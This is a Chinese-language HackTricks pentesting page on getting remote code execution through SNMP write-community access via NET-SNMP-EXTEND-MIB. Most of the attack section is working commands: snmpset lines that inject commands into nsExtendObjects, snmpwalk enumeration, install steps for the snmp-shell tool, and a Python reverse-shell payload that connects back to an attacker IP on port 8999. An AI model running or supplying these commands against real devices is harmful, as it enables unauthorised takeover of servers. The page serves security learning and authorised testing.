# SNMP RCE

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS红队专家）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

## SNMP RCE

如果管理员忽视设备或服务器上SNMP的默认配置，攻击者可以利用SNMP。通过在Linux操作系统上**滥用具有写权限（rwcommunity）的SNMP community**，攻击者可以在服务器上执行命令。

### 使用附加命令扩展服务

要扩展SNMP服务并添加额外命令，可以向\*\*"nsExtendObjects"表中添加新行\*\*。可以使用`snmpset`命令并提供必要的参数，包括可执行文件的绝对路径和要执行的命令来实现这一点：

```bash
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c c0nfig localhost \
'nsExtendStatus."evilcommand"' = createAndGo \
'nsExtendCommand."evilcommand"' = /bin/echo \
'nsExtendArgs."evilcommand"' = 'hello world'
```

### 注入命令以执行

在 SNMP 服务上注入要运行的命令需要被调用的二进制文件/脚本的存在和可执行性。**`NET-SNMP-EXTEND-MIB`** 要求提供可执行文件的绝对路径。

为了确认注入命令的执行，可以使用 `snmpwalk` 命令枚举 SNMP 服务。**输出将显示命令及其相关细节**，包括绝对路径：

```bash
snmpwalk -v2c -c SuP3RPrivCom90 10.129.2.26 NET-SNMP-EXTEND-MIB::nsExtendObjects
```

### 运行注入的命令

当**读取注入的命令时，它会被执行**。这种行为被称为\*\*`run-on-read()`\*\*。命令的执行可以在 snmpwalk 读取过程中观察到。

#### 使用 SNMP 获取服务器 Shell

要控制服务器并获得服务器 Shell，可以使用 mxrch 开发的 Python 脚本，从 [**https://github.com/mxrch/snmp-shell.git**](https://github.com/mxrch/snmp-shell.git) 下载。

或者，可以通过将特定命令注入到 SNMP 中手动创建反向 Shell。这个命令由 snmpwalk 触发，建立一个反向 Shell 连接到攻击者的机器，从而控制受害者的机器。 您可以安装运行此命令所需的先决条件：

```bash
sudo apt install snmp snmp-mibs-downloader rlwrap -y
git clone https://github.com/mxrch/snmp-shell
cd snmp-shell
sudo python3 -m pip install -r requirements.txt
```

或者一个反向 shell：

```bash
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
```

### 参考资料

* <https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/>

<details>

<summary><strong>从零开始学习AWS黑客技术</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>
